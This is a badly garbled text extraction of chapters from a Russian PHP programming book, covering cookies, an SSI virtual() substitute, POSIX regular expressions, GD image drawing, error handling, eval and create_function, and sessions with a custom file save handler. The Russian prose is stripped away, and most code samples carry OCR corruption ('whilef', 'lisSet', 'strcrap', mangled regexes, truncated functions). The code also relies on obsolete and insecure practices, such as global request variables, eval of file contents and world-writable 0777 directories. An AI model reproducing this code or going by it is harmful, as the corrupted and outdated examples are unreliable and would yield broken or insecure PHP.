echo "$header: $value<br>\n";
GetAllHeaders () ,
Apache.
( , CGI- ). , Windows (
) GetAllHeaders () .
GetAllHeaders : (, , ) -
21. WWW
291
. ,
.
Cookies
Cookies (, , ), ,
I .
.
, Cookie ( ) ,
. , Cookies , .
(, ), , , . Cookies
, ,
.
Cookies
, . , , Cookies,
.
Cookie ,
. Cookies,
"" (
, , , ), (. 25).
Cookie . :
Set-cookie:
setcookie ( ) ,
, .
, , , , "" Cookies. .
292
IV.
, ,
Cookies?
?..
Cookie
, Cookies. Cookie ,
.
int setcookie(string $name [,string $value]
[,string $path]
[,int $expire]
setcookie () Cookie,
. , ,
. $name ( Cookie), Cookie
. , , "".
Sexpire $secure, , ,
0. $expire
timestamp, , ,
time raktimef). $secure , Cookie
HTTPS- ( HTTPS, ,
, , ).
Setcookie():
// Cookie , . .
SetCookie("TestCookie","Test Value");
// Cookies 1
SetCookie("TestCookie",$val,time()+3600);
SetCookie("TestCookie",$val,time()+3600,"/-rasmus/", ".utoronto.ca",1);
21. WWW
293
; 21.1.
;
if(lisSet($Counter)) $Counter=0;
$Counter++;
SetCookie("Counter",$Counter,Ox7FFFFFFF);
echo " $Counter !";
, ,
? ,
, , ...
, Cookies ,
.
(, Serialize ) Cookie.
, , , unseriaiize ( ) .
, ,
Cookie:
SetCookie("Arr[0]","") ;
SetCookie("Arr[1]","bbb");
SetCookie("Arr[2][0]","ccc");
//
Cookie
- Cookies. , - Cookie, , cook val.
( , , ) Cook=val ( ).
$cook
294
IV.
val. To ,
Cookie - . , , !
SSI virtualf)
, Apache
"". , ( ,
Apache ): , SSI (Server-Side Includes ).
"" SSI- include v i r t u a l .
virtualf)
virtual ,
Apache. , , - virtual . ,
virtual ( "" ,
virtual ( ) ). :
21.
WWW
295
if ( ! function_exists ( "virtual" ) ) {
//
function Virtual ( $url )
{ //*
//* URL ( ) .
//*
//* 5- .
global $HTTP_HOST,$SERVER_PORT;
$f=@fopen("http://$HTTP_HOST:$SERVER_PORT$url" , "") ;
if(!$f) {
echo "[an error ocurred while processing this directive: $url]";
return false;
}
// echo
whilef ($s=fread($f , 10.000) )!="") echo $s;
fclose($f) return true;
, f open ( ) ,
, http: / / .
URL . , , , .
22
RegEx
, .
, .
, ,
.
,
. , . ?..
-
( , ): - , , , .
, f i l e . i n f i l e . o u t . ,
"" out.
, . , :
$p=strrpos($inFile, ' . ') ;
if($p) $outFile=substr($inFile, 0,$p) ; else $outFile=$inFile;
$outFile.=".out";
, ( - , , ,
, ). "" ,
22. RegEx
297
,
. : " $inFiie , ( ), , , " " .out,
$outFiie".
.
: , ,
. , b a s e n a m e o
d i m a m e o , . ,
. :
$slashl=strrpos($fullPath, ' / ' ) ;
$slash2=strrpos($fullPath, ' \ \ ' ) ;
$slash=max($slashl,$slash2);
$dirName=substr($fullPath,0, $slash) ;
$fileName=substr($fullPath,$slash+l, 10000) ;
, strrposo false,
0, .
, strrpos ,
, . . .
, . ,
,
, . , .
, , : "
, , , SfileName, " " - $dirName". " "
: " , ,
".
, , , " ". , , -
298
IV.
( , ), ""...
. ! , ( ,
), , .
, ,
. , , .
. , , " ", , . "",
, - "".
, . , ( , ) . -
, . , " ,
" "ab cde fgh" "cde" (
). , - , -
, , . . , .
. , , , , .
$ $str
true, false. ,
22. RegEx
299
$Matches (, )
( RegEx, ). , $Matches[0] .
, , , , - ,
:
string ereg_replace(string $expr, strint $str, string $strToChange)
, $str , $, $strToChange.
$strToChange , . , , \ (
"\\0") .
RegEx
,
. ,
. 3
RegEx.
^
PCRE
(Perl-Compatible Regular Expression Perl).
. PCRE
Perl.
, RegEx ,
, .
RegEx. . . ( ),
. :
, ,
"";
300
IV.
( , , . .);
( , , ,
- , ).
, , . ,
RegEx , ( : " . * ? + [ ] { } |$ "), abed "" , abed.
,
, " ",
. , , *,
\* ( ,
"\\*"), * ( , ).
( )
. , , -
, .
$="\*"
$="\\*"
$ \*. , .
^~
,
, , .
, RegEx
, . , . , .
"." .
22. RegEx
301
, . azb aqb,
"" , , aqwb . ,
(, , )
.
. , ,
.
. , a [ x X y Y ] c ,
, ,
, , , Y , , . [ ], (, ),
.
- , ,
, . . , [a-z] z
, [a-zA-zo-9_j .
,
. RegEx [ ] , .
. , [:ainum: ] , [ : d i g i t : ] . :
[ : a l p h a : ] ;
[: d i g i t : ] -- ;
[ -. ainum: ] ;
[: space: ] ;
[:blank: ] 0 255;
[: cnrti: ] ;
[:graph: ] ;
[: lower: ] ;
[:upper: ] ;
[:print: ] -- ;
[ :punct: ] ;
[ : x d i g i t : ] F.
, [ : _ : ] . ,
IV.
302
. ,
:
abc[[:alnum:]]+
abc[[:alpha:I[:punct]0]
// abc,
// abc, ,
:
abc[:alnum:]+
// !
[ : _ : ]
, , , "" (, setiocaieO ). , [ [ : a l p h a : ] ]+ ,
. ""
[ . . . ] .
( ) . , , (,
> <). , , 254 ,
[ <>], , , [ ] . ,
[ \ t \ n \ r ] b "" ,
, .
, [ . . . ] . ,
.
, .
*. ,
( , ,
). , -*- ,
, , , .
, . . "" ,
22. RegEx
303
. , (
"" 2 ), - ( 1 ). "" , , , " ".
, .
, ,
. : *,
,
" " +. : -+,
" ". , , , :
[ a - z A - Z ] +- [a-zA-Z] +.
, ?. ,
( !) . ,
[ a - z A _ z ] + \ r ? \ n ,
. Unix, \ , Windows
\\. , \ .
, .
, , . ,
" ".
. .
x { n , m } , X m ;
(}
- , X ;
(, )
, X .
IV.
304
m 0 255 . ,
*, + ? ( . . . } .
(, , ), . , . ,
(: ,
, ), $
( , ).
, ,
, abc, abc$,
abc "". , $
abc, .
, .
[ [ : < : ] ]
. [ [ : > : ] ]
.
, [ [ :ainum: ] ]+,
. ., .
RegEx
. PCRE, , , .
:
$st="
string
";
[ . . . ] ,
,
. , ,
, ( ).
RegEx
, . |.
22.
305
.
1 | 2 | 3 [123], .
| | z$ i z z z , , , z, , , z z z .
abci i a b c 2 2 |abc333 , abcl, abc22 ( , -
).
, -
,
. abc 3 .
: a b c i | 2 2 | 3 3 3 , |, ,
.
( )
( . . . ) . ,
: a b c ( I I 2 2 | 3 3 3 } .
, . , ,
, .
""
, , , -
.
, (
), , ,
, .
, .
DD-MM-YYYY,
. , - .
, , , ,
?
IV.
306
, RegEx . ,
4
* ( ( [ 0 - 9 ] + ) - ( [ 0 - 9 ] + ) - ( [ 0 - 9 ] + ) ) *$
, 2 ( 4) . , , .
,
, , . :
, ,
"" ( ).
, (
), , , , .
,
. .
? : , ,
. , , :
$str=" 15-16-2000 "; //
//
4
" * ( ( [0-9]+ ) - ( [0-9]+) - ( [0-9]+) ) *$", $str, SPockets) ;
//
echo " : $Pockets[l] <br>"
echo ": $Pockets[2] <br>";
echo ": $Pockets[3] <br>";
echo ": $ P o c k e t s [ 4 ] <br>";
, ,
, , ,
, , ,
. ,
:
4
* ( [ 0 - 9 ] + ) * [ - . / ] * ( [ 0 - 9 ] + ) *[-./] * ( [ 0 - 9 ] + ) *$
22. RegEx
307
. , RegEx, .
.
, , "" $,
"", <> </>,
. ,
, . ,
: \$ [a-zA-Z_] [ [ : a l n u m : ] ] * .
ereg_Replace()?
, :
$str='<? $a=10; for($i=0; $i<10; $i++) echo $i; ?>'; //
$str=ereg_Replace("(\\$[a-zA-Z_][[:alnum:]]*)","<b>\\K/b>",$str);
, , .
, "" : \1 1.
, , .
erego -- , . , .
. ,
, - HTML- (, <> <>), , . , . , , <>
</>, <> </>.
:
<( [ [:alnum: ] ] + ) > ( [ <]
, .
: , , , ( ). , 11 . 699
308
IV.
</, , ,
. \1, ,
. ,
"" , .
, :
$str = "Hello, this <kword</k is bold!";
bool eregi(string $expr, string $str [,list &$Matches])
To , ereg ( } , .
, $Matches .
, - -
. ,
,
quotemeta ( ) . , "" : . , \ \ , +, *,
I - . !
list split(string $pattern, string $string [,int $limit])
explode ( ) .
$string , ,
$pattern. , , , . $iimit, , , explode () , $iimit ,
($iimit-i)-ro .
22. RegEx
309
, ( ) , . , ,
, , . , , , .
: $fname out
.
:
$fname=ereg_Replace(
1
([[:alnum:]]) (\\.[[:alnum:].]*)?$',
1
'\\l-out ,
$fname
:
"" $, RegEx. , .
: $path $dir
$fname.
310
IV.
:
$fname = e r e g _ R e p l a c e ( " . * [ \ \ " / " " / $ p a t h ) ;
$dir
= ereg_Replace("[\\/]?[ \\/]*$","",$path);
: , $id , . .
- (
, ,
).
:
i f ( e r e g i ( " [ a - z ] [ [ : a l n u m : ] ] * " , $ i d ) ) echo " !";
: , $text, <img> src gif, ,
.
:
$text=eregi_Replace(
'(<img[A>]*src="?[[:alnum:]/\\]*) ( \ \ . [ [ralnum:]]*)?',
-\\l.jpg',
$text
: ,
: / / U R L , http, ftp gopher,
URL - . HTML- < href=...>...</a>.
:
$w="[:alnum:]";
$="[:punct:]";
$text=eregi Replace(
"((https?I ftp|gopher) ://".
"i$w-]+(\\.[$w-]+)*".
//
//
"(/[$w+&.%]*(\\?[$w?+&%]*)?)?". //
22.
311
E-mail
: ,
@, . . E-mail- (
E-mail). HTML-.
:
$text=eregi__Replace (
1
( [ [ :alnum: ] -. ] +@ ' .
1
//
//
//
, , .
:
$text.
. , . ,
, .
: split () .
i 22.1.
// $text
// , .
function GetUniques ($text)
{ //
$Words=split (" ( [ :punct: ] [ : blank: ] ]+",$text) ;
$Uniq=array ( ) ; //
$Test=array () ; //
312
IV.
// $Words $Uniq
foreach($Words as $v) {
$v=strtolower($v); //
// ? , $Uniq
i f ( ! @ $ T e s t [ $ v ] ) $Uniq[]=$v;
// ,
$Test[$v]=l;
}
// ,
sort($Uniq);
return $Uniq;
, . .
. "" -- split
. ,
. , .
22.1, ,
:
$fname="sometext.txt";
$f=fopen($fname,"r");
$text=fread($f,filesize($fname));
fclose($f);
$Uniq=GetUniques($text) ;
foreach($Uniq as $v)
, preg_split ( ) , PCRE,
, ,
split () 3 !
, , ,
- Perl ,
Perl Cookbook
( : " . Perl", , 2000).
, .
22. RegEx
373
,
.
,
. , ,
" " "
s q u o t ; " str_replace () ,
ereg_Repiace ( 20 ). , ""
, , . ,
.
23
, WWW
-, ""
. , , .
, ( BMP), ,
.
.
JPEG. ,
, .
GIF. /, ;
.
PNG. JPEG, GIF, - ,
, - GIF . .
GIF PNG,
. , GIF
, ( ) PNG.
Web- ? ?
. ,
, (
, ""
), ,
,
. -
23.
315
" ", . , : -
(, fly),
.
, , , , , - .
, GIF, PNG. ,
, GD GIF, PNG.
, GIF
. , GD
GIF , , , : GIF,
PNG, , ( ) 98% ...
GetlmageSizeO
, ,
.
.
" ", ,
, GIF, JPEG PNG.
list GetlimageSize(string $fiiename [,arrays $imageinfo])
( ) ,
. .
( 0) , ( 1)
. 2 : 0, GIF, 1 JPG 2 PNG. ,
3,
: height=sx width=sy, sx sy . ,
<img>, .
316
IV.
GD
" ". , ,
-, , - .
GD. (
, / , ,
. .), ,
. ( GD) .
GD . , - . ,
GD.
, ,
Hello world! ,
images/button.png.
" ".
. 23.1.
TrueType-
23.
317
I. ....... ;
.
.
.
.
.
, ............... . ................................................ . ....... . ....................... . ........
<?
// ,
$string=$QUERY_STRING;
//
$im = imageCreateFromPng ("images/button. png") ;
//
$orange = imageColorAllocate ($im, 220, 210, 60);
// ,
$ = (imageSx($im)-7.5*strlen($string) ) /2;
// ,
imageString ($im, 3, $, 9, $string, $orange) ;
// , PNG
Header ( "Content-type : image/png" ) ;
// :
// , . .
imagePng ($im) ;
/ / ,
imageDestroy ($im) ;
, " "
, "" .
, GD.
( imagecreate ( ) ) (imageCreateFromPng(), imageCreateFromJpeg()
imageCreateFromGif , , GD).
int imageCreate(int $x, int $y)
$ $ . , ,
, ,
.
int imageCreateFromPng(string $filename)
int imageCreateFromJpeg(string $filename)
int imageCreateFromGif(string $filename)
318
IV.
. imageCreate ( ) ,
.
,
, ,
. . imagePng
(, , imageJpegO i m a g e G i f o )
.
,
. , imageCreateFromGif ( ) ,
, imageCreateFromJpegO ,
GD , . ,
, , , .
, GD
, .
, , ( BMP), , .
PNG- ImageCreateFromPng ( )
image jpeg ( ) , .
, imageSXO i m a g e S Y O :
int imageSX(int $im)
,
, .
int imagesY(int Sim)
.
int imageColorsTotal(int $im)
,
, "" , GIF. .
, imagecoiorAiiocate . ,
GIF- , -
23.
319
(, 16 17 ) ,
( GIF).
imageCoiorAiiocate 16 , imageCoiorciosest ,
.
, 23.1 " ", , , . ,
.
int imagePng(int $im [,string $filename])
int imageJpeg(int $im [,string $filename])
int imageGif(int $im [,string $filename])
,
, , . ,
imageCreate ( ) , . . $im.
$fiiename ,
, . . .
Content-type ,
H e a d e r ! ) , 23.1.
Content-type, , ,
. ! , , . ,
HTTP.
, , :
Header("Content-type: image/png") PNG
Header("Content-type: image/jpeg") JPEG
Header("Content-type: image/gif") GIF
,
i m a g e P n g O , i m a g e G i f O imageJpeg ( ) ,
, ,
, .
320
IV.
,
imageCreateFromXXX ( } , . ., , . . , ,
imageCreateFromXXX ( ) . imageCreate ( )
( , ). :
, , , ,
-, . ?..
RGB
, -
. , ,
. RGB-
( red-green-blue) 0 255,
, . 0 , 255 . , (0,0,0) , (255,255,255) , (255,0,0) -, (255,255,0) . .
, GD . ,
RGB-
.
. , .
int imageColorAl locate (int $im, int $red, int $green, int $blue)
,
RGB. ,
,
. , , ()
. "" - ImageColorClosest .
, . ,
( GIF PNG)
23.
321
. , GIF
256, ,
"" . , , .
, , 256 "" imageCoiorAiiocate . ,
, ,
. " " ,
(,
,
).
int imageColorClosest(int $im, int $red, int $green, int $blue)
, , imageColorClosest .
,
,
. ,
. , , . ,
"--" ,
, " " GD "".
imageColorClosest () , 6
,
. , , . "" , . , "" .
, imageColorTransparent () .
int imageColorTransparent(int $im [,$int c o l ] )
imageColorTransparent GD,
$coi ( ) $im .
, false, .
, JPEG
.
322
IV.
, GD -
, "" ( , ...).
:
$tc=imageColorClosest($im,0,255,0);
imageColorTransparent($im,$tc);
, i m a g e C o i o r A i i o c a t e o
, , , , .
RGB-
array imageColorsForlndex(int $im, int $index)
. GD. ,
99% . http://ru.php.net.
int imageCopyResized(int $dst_im, int $src_im, int $dstX, int $dstY,
int $srcX, int $srcY, int $dstw, int $dstH,
int $srcW, int SsrcH)
,
. (
23.
323
), . , 10
, . ,
...
, $dst_im , .
. , $src_im , . ,
$src_im $dst_im .
($srcx, $ s r c Y , $srcw, $) ( ,
!)
, ,
, .
, (Sdstx, $dstY, $dstw, $dstH) $dst im, ""
. , , , .
, imageCopyResizedO :
;
;
;
.
, ,
, , ,
. . GD ,
, .
Si=imageCreate(100, 100) ;
324
IV.
$c=imageColorAllocate($i, , , 0) ;
imageColorTransparent($i,$c);
imageFilledRectangle($i,,,imageSX($i)-1,imageSY($i)-1,$);
//
int imageRectangle(int $im, int $xl, int $yl, int $x2, int $y2, int $col)
imageRectangle 1 $coi. ,
imageFilledRectangle ( ) .
int imageLine(int $im, int $xl, int $yl, int $x2, int $y2, int $col)
$im, ($xl,$yl) ($2,$2), $coi.
( . ).
int imageDashedLline(int $im,int $xl,int $yl,int $x2,int $y2,int $col)
imageDashedLine () , imageLine (} ,
, . , , , ,
, imageLine ( ) .
int imageArcfint $im,int $cx,int $cy,int $w,int $h,int $s,int $e,int $c)
imageArc ( ) $im
$s $ ( , ). ,
($x,$y,$w,$h), $w $ , $
$ . ,
, $.
int imageFill(int $im, int $x, int $y, int $col)
imageFill ,
($,$) $coi. ,
,
. ,
, " " ($,$).
23.
325
,
, ,
1 .
int imageFillToBorder(int $ira,
imageFiii ,
, , ,
$border.
.
[^
, , 1 . ,
.
$im ,
. - $points, $points[0]=xO, $points[1]=, $points[2]=xl, $points[3]=yl, ..
$num_points , , . Scoi.
int imageFilledPolygonfint $im, list $points, int $num_points, int $col)
imageFiiiedPoiygonO ,
imagePolygon ( ) , : $coi.
, .
int imageSetPixel(int $im, int $x, int $y, int $col)
, . .
$coi $im, ($,$). ,
-
, , ,
, , .
326
IV.
int $x,
int $y)
ImageSetPixel () -
imageColorAt , , ($,$). ,
RG -.
, , , . , ,
(0,0). ,
- (
), .
GD . , ,
GD.
, . . "" . 5 ( 1 5), . .
int imageLoadFont(string $file)
, 5, . , . , ,
, .
(. 23.1).
, , , ,
.
23.1.
Byte 0-3
long
(nchars)
byte 4-7
long
( 32 )
23.
327
23. 1 ()
byte 8-1 1
long
( ) (width)
byte 12- 15
long
[ ) (height)
byte 16-...
array
,
. , ,
width*height
,
width*height*nchars .
,
, (
, , ).
int imageFontHeight(int $font)
.
int imageFontWidth(int $font)
int imageString(int $im, int $font, int $x, int $y, string $s, int $col)
$s $im, S f o n t $coi.
($,$) , .
int imageStringUptint $im, int $font, int $x, int $y, string $s, int $c)
, , . , -, ($,$).
TrueType
GD PostScript TrueType. , . ., -, ( Windows), -, .
,
FreeType,
328
IV.
http://www.freetype.org. Windows-
.
TrueType.
, , .
list imageTTFText(int $im, int $size, int $angle, int $x, int $y,
int $col, string $fontfile, string $text)
$text $im $col.
, $coi .
$angie , . ($,$) ( ). $size ,
. , $fontfile
TTF-, , , .
,
, $fontfile
( )
. , 3
.
, ?..
8 . (,) ,
, ,
. . $angie,
4 .
:
; 23.2. TrueType-
//
$string="Hello world!";
//
$im = imageCreate<300,40) ;
//
23.
329
$black = imageColorAllocate($im, , , 0) ;
$orange = imageColorAllocate ($im, 220, 210, 6 0 ) ;
//
imageFill ($im, 0, 0, $black) ;
// ( times. ttf )
imagettftext ($im, 50, 0,20, 35, $orange, getcwdO . "/times . ttf ", $string) ;
// , PNG
Header ( "Content-type : image/png" ) ;
//
imagePng ($im) ;
list imageTTFBBox ( int $size, int $angle, string $fontfile, string $text)
, ,
$text $size, $angie - . S f o n t f i i e ,
imageTTFText ( ) , , .
, , imageTTFText ( ) . (. 23.2).
23.2. ,
(,)
23
(,)
45
(,)
45
(,)
23.3 , TrueType-,
RGB. , , , (. . 23.1).
330
IV.
\ 23.3.
// imageColorAllocate() ( ),
// RGB-, XXYYZZ, :
// * XX red- ;
// * YY green- ;
// * .ZZ blue- .
// . ,
// $func (, imageColorClosest).
function imageColorHex($im, $c, $func="imageColorAllocate")
{ // ,
for/$i=strlen ($cl; $i<6; $i++) $c='0'.$c;
$r=hexdec(substr($c,0,2));
$g=hexdec(substr($c,2,2));
$b=hexdec(substr($c,4,2));
return $func($im,$r,$g,$b);
// .
//
// (, ttf.php?a=20&f=arial&text=Hi+there)
11 ' 30)
// (80)
if(!@$b) $b="OOAAAA"; // (-)
if(!@$c) $c="FFFFOO"; // (-)
if(!@$d) $d=10;
//
if(!@$f) $f="times";
//
23.
33
II $d
$MX=max($X) -min($X) +$d*2; //
$MY=max($Y)-min($Y)+$d*2; //
// ,
//
$x=$d+$Bnd[Oi -miri ($X )i-2,
$y=$d+$Bnd[l] -min !SY) +2;
//
$im = imageCreate ($MX, $MY) ;
//
$black = imageColorHex ($im, 0);
// ()
.php?a=Fpaflycbi&s=Pa3Mep&b=3aflHnftU r BeT&c=U,BeT&d=3a30p&f=<I>oHT&text=TeKCT
(. 23.3).
, , , TTF- ,
(, : /WINDOWS/FONTS Windows). f , . Times.
24
, ,
. ,
. ,
. , .
,
, .
int phpinf()
, -
, ,
. , ( ) :
;
, ;
;
, ;
;
;
HTTP-;
.
24.
333
, . , :
<?
phpinf();
?>
, phpinf ( ) . ,
.
string phpversionO
phpversionO, ,
, , .
int getlastmodO
-- getlastmodO - -
, . ,
,
, , ,
, require include.
timestamp ( , , 1 1970 ),
, :
echo " : " . d a t e ( " d . m . Y H : i . s . " , g e t l a s t m o d O ) ;
// - ' : 13.11.2000 11:23.12'
php.ini.
=, . , ; , ( , ).
Apache,
. httpd.conf .htaccess.
(, php_vaiue; ) , , Apache,
, .
(, , Error_Reporting()),
IV.
334
. 2.
error_reporting
. ,
.
1 , . , .
24.1. ,
ERROR
WARNING
PARSE
NOTICE
16
CORE ERROR
( )
32
CORE WARNING
( )
- 7 (1+2+4), ,
, , (, , ). .
255 ( ), . . , E_ALL, .
24.
335
?>
<form action=<?echo $SCRIPT_NAME?> method=post>
<input type=text name=name value="<?=@HtmlSpecialChars(Sname)?>">
<input type=text name=email value="<?=@HtmlSpecialChars($email)?>">
<input type=submit name=submit value="Go!">
</form>
, : , text . @ ,
( , $name Semaii ).
max_execution_time
( ),
. , "" .
track_vars on/off
.
On, , GET POST, Cookies,
$HTTP_GET_VARS,
$HTTP_POST_VARS $HTTP__COOKIE_VARS .
, , ,
, .
.
2 http://www.php.net.
.
, 500- (Internal
Server Error), . , .
E r r o r _ R e p o r t i n g ( ) .
int E r r o r _ R e p o r t i n g ( [ i n t $level])
IV.
336
, . .
error_reporting , . :
Error^Reporting(1+2+4+8);
, ( , ).
, 5 . ...
, . @.
, , , . :
if(!Sfilemtime("notextst.txt"))
echo " ! " ;
:
// ,
if(Sfilemtime($fname)<time{)-60*60)
MyFunctionForUpdateFile($fname);
@. . , , Error_reporting < ) ,
@? -, .
24.
337
@
@.
submit-, , . :
if ( ' empty (Ssubir.it 1 ' echo " ! " ;
?>
, , :
<?
if (@$submit) echo " !"
?>
<form action=<?=$SCRIPT_NAME?> method=post>
<input type=submit name=submit value="Go!">
</form>
@
.
void exit ( )
.
. , .
void die (string $message)
, exit ( ) ,
, $message. , .
die :
$f ilename= ' /path/to/data-file ' ;
$file=fopen ($filename, 'r') or die (" $filename ! ") ;
or - ""
, "".
, . , | \
, =. -
535
IV.
| |
:
$filename='/path/to/data-file' ;
($file=fopen($filename, 'r')) ! I die("He $filename!");
,
| | .
, -, ,
, - .
, ,
- .
?
-, . , , ,
, , - . - , Register_shutdown_function() .
int Register_shutdown_function(string $func)
, .
, exit die; ( ) , , , .
, ,
, .
, "".
. ,
echo, ( , Unix- ,
Windows CGI- echo ).
,
, .
, ,
: , , ,
- - . , ,
- (, , ). -
24.
339
(
).
, . ,
, , ! , . V
.
int eval(string Scode)
: Sst ,
, . - return (, ,
), eval ( ) .
$st ,
PHP-. , :
-, <? ?>;
: , . .;
;
eval ( ) .
, .
$st ,
. ,
eval .
(, )
$st
(, ). , , eval .
. , , , eval ( )
123. 699
340
IV.
false,
- ( , ,
Perl).
, ,
$st, ,
eval ( ) . , -.
, , ,
( ).
, , -,
, eval . :
eval("$a=$b;"); //!
// , , :
eval("\$a=\$b");
/ / :
eval('$a=$b');
, : eval ( ) , ,
? ,
e v a l ( ' f o r ( $ i = 0 ; $i<10; $i++) echo $i; ' ) ;
:
for($i=0; $i<10; $i++) echo $i;
? , ,
. eval ( ) , $st (
) , . , , 100
Fund () . . . Funcioo ( ) , 100 :
i 24.1.
for($i=l; $i<=100; $1++)
eval("function Func$i() { return $i*$i; } " ) ;
- , eval !
, (, ) ,
eval ( ) , . , , , -
24.
341
, eval .
, , :
Parse error: parse error in e v a l . p h p ' 4 )
,
, eval , "on line"
eval $st. , , - .
,
include. , $fname. :
$code=join("",File($fname));
eval("?>$code<?");
, ... .
:
Sfname , "" . ,
: ,
f read () fgets ( ) .
, , , . ?> <?
? , : ,
eval ( ) ,
PHP-. ,
PHP-, . . ""
. , include
, eval - - . -
?>
, eval "" . .
, 100 , 2 . , , , . , ?
! 24.2. ""
$Funcs=array();
for(Si=0; $i<=100;
342
IV.
$id=uniqid("F") ;
eval ("function $ i d ( ) { return $i*$i; } " ) ;
$Funcs [ ] =$id;
$Funcs, . - ? :
echo $Funcs[12] ();
// 144
echo Funcl2 ( ) ;
,
24.1. , ? . ,
, 12- , ,
, $? :
echo $Funcs[$n] ( ) ;
// Sn-
, ? , :
$F="Func$n";
$F() ;
$F ( eval () , . . , ,
eval ( ) .
, 4 ,
"" , 24.2. create_function ( ) .
string create__function (string $args, string $code)
, ,
$code ( , ). , Sargs.
.
, . :
$Mul=create_function('$,$b', 'return $a*$b;');
$Neg=create__function('$a', 'return ~$a;');
echo $Mul(10,20);
// 200
echo $Neg(2);
// -2
24.
343
,
create^function() !
24.2
c r e a t e _ f u n c t i o n { ) . . ,
.
$Funcs=array() ;
for($i=0; $i<=100; $i++)
$Funcs[]=create_function("","return $i*$i;");
echo $Funcs[12]();
// 144
--
:
$a=array("orange", "apple", "apricot", "lemon");
usort($a,create_function('$a,$b', 'return strcrap($a,$b);'));
foreach($a as $key=>$value) echo "$key: $value<br>\n";
create_function ,
PHP-, . ,
,
, . :
$fname="file.php";
$code=join("",File($fname));
if(create^function("","?>$code<?"))
echo " $fname PHP";
else
echo " $fname - -";
@, ,
, PHP-. , , ,
, , ?> <?.
, ,
HTML- " ". , . ., , , PHP-, .
IV.
344
void usleepfint $micro_seconds)
""
( ). , ,
- , .
sleep ( ) , , , .
int uniqid(string $prefix)
uniqid ,
. $prefix ( 114
) .
0 , uniqic ( ) .
, ,
.
.
, uniqid
" " mt_rand ( ) mds ( ) , .
25
, - 4, , ( ) , (, ),
.
""
-
"".
.
session,
"".
( ), ,
, (
Cookies ),
.
, ( ), . , , .
?
Web- ,
, " ".
CGF ,
.
, ,
. , , ,
. , , HTML. Windows
,
.
IV.
346
, , ( ) , .
,
. , , , .
Web- . ,
- , , "" . ,
, .
: -
. , , . , - ""
, .
,
.
? , , . , : , .
.
,
Cookies .
Cookies , . .
, (
SID), ,
.
, ( ) .
. ,
,
. ,
25.
347
, , . , ""
, .
, ?
, , . ,
: ,
( Unix
/tmp). - ,
.
, , . s e s s i o n _ s t a r t .
(
session.auto_start=l,
. , ,
(, , , ).
session__start () . ,
SID !
void session_start()
,
. .
,
Cookies , , .
,
.
- , . , ,
.
, , , . , ,
register_globals.
register_globals=o, ( -
348
IV.
) , $HTTP_SESSION_VARS.
"" ( ), .
bool session_register(mixed $name [, mixed $namel,
PHP , ,
. session_register.
( , $ ), "",
.
mixed, string? ,
, .
.
, . .
, . , . :
! 25.1.
session_start ( ) ;
session_register ("count") ;
$count=@$count+l ;
?>
<body>
<2></2>
<?=$count?> () . , .
</body>
, .
25.
349
, - .
. ,
, . " " ,
, , .
, ? , . , 25.1. $ count, . ,
, , , . , $count, , "". , , : , , , .
!
- , ,
, . , . , , ,
. -
.
, , , sesA, .
string session_narae([string $newname])
, . $newname , .
, $newname, .
Session_name () ,
! , session_name (_) -
IV.
350
session_start ( ) ,
, .
session_name() ,
PHPSESID.
, , , Cookie, . ,
. , ,
Cookie,
, "" Cookie.
.
<?
session_name("CounterScript"
session_start();
session_register("count");
$count=@$count+l;
?>
<?=$count?> ().
,
. , .
, (siD). , , . ,
SID . SID, , .
. ,
? : ( , SID), .
SID .
( ) SID, " ".
, SID ,
-- .
25.
351
" ", ,
. ( ).
string session id([string Ssid])
, , , .
bool session_is_registered(string $name)
$name
. , , $name . true, , f a l s e .
session_unset , session_unregister ( ) ,
( , ,
- ), ,
.
352
IV.
string session_save_path([string $ p a t h ] )
, . , ,
, $path.
.
, , , - . , 4.0.3.
,
,
. , ,
-.
, .
6 , ,
.
, .
.
bool handler_open(string $save_path, string $session_name)
, s e s s i o n _ s t a r t 0 . ,
$session_name. $save__path
, s e s s i o n _ s a v e _ p a t h ( j - . , , .
booi handier_ciose()
, .
string handler^read(string $sid)
,
$sid . , :
1=!;2=2;=;...;
25.
353
, ,
serialize
. , :
fooIi:1;count 1 i: 10;
, , 1, 10.
string handler_write(string $sid, string Sdata)
, $sid
.
bool handler_gc(int $maxlifetime)
. . "" ,
, .
handier_gc().
( ), " ", " " (garbage collection) . ., .
? . , , , ,
$ m a x i i f e t i m e . , ""
.
(~
handle_ ( )
, .
session.gc_probability. , ( ),
,
" ".
, ,
.
354
IV.
, , , h a n d l e r . ,
. , .
: ? , , .
void session^ set _save_handler($open,$close,$read,$write,$destroy,$gc)
,
, . $
, , $ close , . $read $write
, ,
. , $destroy,
. , , $,
.
, .
:
, .
sessiondata ,
.
25.2 , . 6 ,
"" .
: 25.2.
// .
/ / , ,
// ,
function ses_fname($key)
{ '
return "sessiondata/".session_name()."/$key";
25.
355
//
function ses_open($save_path, $ses_name) ( return true; }
function ses_close() { return true; }
//
function ses^read($key)
{
// .
$fname=ses_fname($key);
$f=@fopen($fname,"rb"); if(!$f) return "";
//
$st=fread($f,filesize($fname));
fclose($f);
return $st;
//
function ses_write ($key, $val)
(
$fname=ses fname($key);
// ( , ,
// )
@mkdir ($d=dirname (dirname ($f name) ) ,0777) ;
@mkdir (dirname ($f name) , 0777) ;
//
$f =@ f open ($f name, "wb") ;
fwrite !$f,$val) ;
fclose ($f) ;
return true;
//
function ses_destroy ($key)
{
return @unlink (ses_fname ($key) ) ;
//
function ses_gc ($maxlifetime)
356
IV.
//
while(($e=readdir($d))!==false) {
// "",
if($e=="."||$e=="..") continue;
// ?
if(time()-filemtime($fname="$dir/$e")>=$maxlifetime) {
@unlink($fname);
continue;
)
// ,
// .
$DelDir=0;
}
closedir($d);
// ,
//
if($DelDir) @rmdir($dir);
return true;
//
session_set_save_handler(
"ses_open", "ses_close",
"aes_iead", "oes_wiiLe",
"ses_destroy", "ses_gc"
// test
session_name("test");
session_start();
session__register ("count") ;
// ...
$count=@$count+l;
25.
357
<body>
<2></2>
<?=$count?> (). , .
</body>
Cookies
,
Cookies. , Cookies
, .
, Cookies ?
, Cookies ,
. ,
, , , -
Cookies, 20 30%. ? , Cookies "" . , Cookies,
. , . ,
"" , "Love letter"...
, ,
, Cookies .
, ,
Cookies, - , GET. .
SID
si D.
=. : , Cookies . , -
358
IV.
- siD ,
"", Cookies. :
! 25.3. Sesget.php: Cookies |
session_name ( "test" ) ;
session start!);
session_register ( "count" ) ;
$count=Ca$count + l;
<2></2>
<?=$count?> (; . , . <hr>
< href=sesget.php?<?=SID?Click here!</a>
</body>
:
http: //www. somehost . ru/sesget .php
. ,
, ,
--
.
25.3. ,
, , ?
Cookies
, , , Cookies ,
SID ( ) Cookies.
.
, , - <?=SID?>, , ,
? , ,
